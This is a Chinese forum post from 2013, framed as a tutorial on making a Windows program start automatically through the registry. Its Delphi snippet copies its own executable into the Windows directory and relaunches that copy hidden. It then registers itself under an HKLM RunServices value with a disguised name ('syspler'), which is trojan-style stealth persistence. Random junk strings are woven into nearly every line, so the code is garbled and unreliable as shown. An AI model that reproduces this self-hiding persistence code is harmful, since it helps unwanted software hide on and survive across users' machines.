后期资源网|非编软件网|杉宫竹苑|非编插件|高清视频素材|音频素材|非编软件汉化

 找回密码
 立即注册
后期非编系统发布及其详细简介后期非编系统VIP专享下载区影视后期非编模版免费下载区网站注册及其办理VIP业务说明
查看: 865|回复: 0

[教程] 利用注册表注册程序开机启动

[复制链接]
发表于 2013-1-4 11:37:52 | 显示全部楼层 |阅读模式
为了程序能在Windows每次启动时自动运行* v5 A- z, r0 N4 x' q6 A8 j
加入Registry单元,改写上面的窗口Create事件,改写后的程序如下:
4 `% `4 `1 u, vprocedure TForm1.FormCreate(Sender: TObject);
: H% q( n4 @6 {& Y$ [; Rconst K = '\Software\Microsoft\Windows\CurrentVersion\RunServices';
& P" k7 B+ s# ]# M8 R+ z- xvar myname: string;
' ~' p6 i7 b1 @$ Q  T7 wbegin
3 o, c1 z* m) I4 C; D" B6 ?9 u0 @{Write by Lovejingtao,替换Lovejingtao.126.com,Lovejingtao@21cn.com}2 }- B4 n) U, t
myname := ExtractFilename(Application.Exename); //获得文件名
% O. r3 Z; y2 C8 [) yif application.Exename <> GetWindir + myname then //如果文件不是在Windows\System\那么..( n1 R, m' j& Z% {7 X3 d" W) C
begin; W$ m/ t2 u3 [0 x- R
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//将自己拷贝到Windows\System\下}$ m* G2 g, l5 f) v; M
Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件; z9 d+ V# Z6 Y
application.Terminate;//退出# }  ]. R3 |9 w6 J9 _. D
end;& i6 q, l" k6 K$ V
with TRegistry.Create do
4 H/ n4 ]& _9 P+ }9 [# ]4 mtry
7 @  x, M! Y- l8 yRootKey := HKEY_LOCAL_MACHINE;
7 X- e4 X( \# \! cOpenKey( K, TRUE );
" L5 g0 W6 d" q6 Q2 tWriteString( 'syspler', application.ExeName );# C( Y& H% e7 N( ^
finally2 a0 o' x4 _% k/ K
free;; w$ k9 G" r! G) C
end;
) e! R* I9 U1 I& J: mend;
后期资源网,打造没有广告、免除隐藏回复的全开放式影视技术交流平台。 你的所求就是我们服务的宗旨!!!
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|后期资源网

GMT+8, 2024-5-3 09:36 , Processed in 0.125962 second(s), 24 queries .

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表